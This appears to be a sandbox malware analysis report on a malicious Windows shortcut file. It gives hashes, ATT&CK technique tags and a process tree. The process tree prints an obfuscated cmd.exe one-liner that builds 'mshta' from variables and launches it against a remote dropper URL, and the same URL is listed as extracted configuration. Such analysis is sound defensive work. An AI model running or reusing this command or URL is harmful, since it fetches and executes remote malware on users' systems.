4c996b6765bf4dd90788cdc3241f843e1c1af72687d4a2da871531dab0b92716

Analysis

max time kernel
60s
max time network
46s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
17/08/2026, 16:16

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General

Target
DOC-EVK75O.lnk
Size 1KB
Sample260817-tqthmsvapd
SHA256 4c996b6765bf4dd90788cdc3241f843e1c1af72687d4a2da871531dab0b92716
MD5 2934e8248b8331f7679453f668548d7f
SHA1 5f2a2f407c81bc88cb0fa53b754519f99bdf23fd
SHA512 b96adcb11866aa8794f587d290eab8b61364a1b007c601917211a8857bd879c4d0aebe76a95ee24a87514f77a9c0ba04b53b25fab2b2a1e3a980c2e19a5d9639
TLSH
T1483197103FED0624F3B79F7284BB572089BBB8998D20CB2E0140450C5032A15E93AF6B
MD5 SHA1 SHA512 TLSH

Score

10^/10

execution

Malware Config

Extracted

Language

Source

URLs

hta.dropper
https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4648	cmd.exe
4712	cmd.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 4648 wrote to memory of 4712	4648	cmd.exe	90
PID 4712 wrote to memory of 3216	4712	cmd.exe	91

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-EVK75O.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4648
- C:\WINDOWS\system32\cmd.exe
  "C:\WINDOWS\system32\cmd.exe" /V:on /c "set cUwr=msh&&set HpOx=ta&&start "" !cUwr!!HpOx! https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4712
- - C:\Windows\System32\mshta.exe
    mshta https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB
    3⤵
    PID:3216

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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